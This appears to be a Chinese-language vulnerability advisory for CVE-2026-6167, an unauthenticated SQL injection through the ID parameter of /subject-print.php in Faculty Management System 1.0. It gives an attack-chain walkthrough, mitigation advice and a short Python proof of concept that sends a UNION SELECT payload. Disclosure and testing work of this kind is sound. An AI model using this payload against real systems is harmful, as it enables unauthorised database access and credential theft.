IPBUF安全漏洞报告
English
CVE-2026-6167 CVSS 7.3 高危

CVE-2026-6167 Faculty Management System SQL注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-6167
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Faculty Management System

相关标签

SQL注入code-projectsFaculty Management System远程利用高危漏洞

漏洞概述

CVE-2026-6167 是 code-projects Faculty Management System 1.0 中的高危漏洞。问题出在 /subject-print.php 文件,由于未对 ID 参数进行过滤,导致 SQL 注入。攻击者无需认证即可远程利用,可能泄露敏感数据。

技术细节

该漏洞位于 Faculty Management System 1.0 的 /subject-print.php 文件中。系统在处理 ID 参数时,直接将其拼接到 SQL 查询语句中,未进行任何输入验证或使用预编译语句。攻击者可以通过发送包含恶意 SQL 代码的 HTTP 请求(如构造 UNION SELECT 语句)来操纵数据库查询。由于漏洞无需用户交互且无需身份认证,攻击者可以轻易提取数据库中的敏感信息(如用户凭证),或者在特定条件下修改和删除数据,严重威胁系统的数据安全。

攻击链分析

STEP 1
侦察
攻击者识别目标系统正在运行 code-projects Faculty Management System 1.0,并定位 /subject-print.php 端点。
STEP 2
武器化
攻击者构造特定的 SQL 注入 Payload,旨在通过 ID 参数提取数据库信息(如 UNION SELECT 查询)。
STEP 3
投递
攻击者向目标服务器发送包含恶意 ID 参数的 HTTP GET 或 POST 请求。
STEP 4
利用
服务器后端脚本执行包含恶意 Payload 的 SQL 查询,将查询结果返回给攻击者。
STEP 5
行动
攻击者根据获取的数据库信息进一步窃取凭证、获取敏感数据或破坏数据库完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(target_url): """Simple PoC to check for SQL Injection in ID parameter""" # Payload to attempt to extract database version payload = "1' UNION SELECT NULL, version(), NULL, NULL--+" # Target endpoint based on the CVE description full_url = f"{target_url.rstrip('/')}/subject-print.php" params = { "ID": payload } try: response = requests.get(full_url, params=params, timeout=5) if response.status_code == 200: print(f"[+] Request sent to {full_url}") print(f"[+] Payload used: ID={payload}") print("[+] Check the response content for database version output.") print(response.text[:500]) # Print snippet of response else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://127.0.0.1/fms" check_sqli(target)

影响范围

code-projects Faculty Management System 1.0

防御指南

临时缓解措施
如果无法立即升级,建议在 Web 服务器层(如 .htaccess 或 Nginx 配置)限制对 /subject-print.php 文件的访问,或部署 Web 应用防火墙(WAF)拦截针对 ID 参数的常见 SQL 注入攻击特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表